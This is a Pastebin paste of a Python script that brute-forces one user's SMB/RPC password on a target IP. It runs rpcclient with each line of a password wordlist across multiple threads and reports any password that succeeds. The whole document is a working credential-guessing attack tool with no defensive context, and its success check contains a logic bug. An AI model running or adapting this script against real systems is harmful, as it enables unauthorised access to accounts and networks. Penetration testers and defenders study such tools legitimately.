Guest User

Untitled

a guest
Dec 12th, 2018
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.95 KB | None | 0 0
  1. #!/usr/bin/python3
  2.  
  3. import argparse
  4. import threading
  5. import subprocess as s
  6. import queue
  7. import sys
  8. import time
  9.  
  10. class workerthread(threading.Thread):
  11.  
  12. def __init__(self, rhost, user, q, lc):
  13. threading.Thread.__init__(self)
  14. self.rhost = rhost
  15. self.user = user
  16. self.q = q
  17. self.lc = lc
  18.  
  19. def run(self):
  20. while True:
  21. try:
  22. pwd = self.q.get().strip("\n")
  23. out = s.run(["rpcclient", "-U", "{}%{}".format(self.user, pwd), self.rhost], stdout=s.PIPE, stderr=s.PIPE, encoding="utf-8")
  24.  
  25. if ("DENIED" or "TIMEOUT") not in out.stdout:
  26. print("Success! user:{} pass:{}".format(self.user, pwd))
  27. sys.exit()
  28.  
  29. if ("TIMEOUT") in out.stdout:
  30. print("connection issues. exiting.")
  31. sys.exit()
  32.  
  33. # print the queue size using qsize as queue len gets reduced on every queue.get()
  34. print("{}/{} - {} failed.".format(self.q.qsize(), self.lc, pwd))
  35.  
  36. except queue.Empty():
  37. return
  38.  
  39. self.q.task_done()
  40.  
  41. def build_pwd_queue(pwdfile):
  42. pwdq = queue.Queue()
  43. linecount = 0
  44. with open(pwdfile) as fileobj:
  45. for line in fileobj:
  46. pwdq.put(line)
  47. linecount += 1
  48. return pwdq, linecount
  49.  
  50.  
  51. if __name__ == "__main__":
  52.  
  53. p = argparse.ArgumentParser("Brute force w/ rpcclient")
  54. p.add_argument("user", help="single username to test")
  55. p.add_argument("pwdfile", help="path to password file")
  56. p.add_argument("rhost", help="ip address of target")
  57. p.add_argument("-t", help="max threads", dest="maxthread", type=int, default=10)
  58. r = p.parse_args()
  59.  
  60. start = time.time()
  61.  
  62. pwdq, lc = build_pwd_queue(r.pwdfile) # pass queue object to a variable, this queue object has been filled with passwords
  63. threadlist = []
  64.  
  65. for i in range(r.maxthread):
  66. worker = workerthread(r.rhost, r.user, pwdq, lc)
  67. worker.setDaemon(True)
  68. worker.start()
  69. threadlist.append(worker)
  70.  
  71. pwdq.join() # Queue.join() to pause until all threads have finished, then continue.
  72.  
  73. runtime = round((time.time() - start), 2)
  74. print("Runtime: {}s".format(runtime))
  75. print("Finished")
Add Comment
Please, Sign In to add comment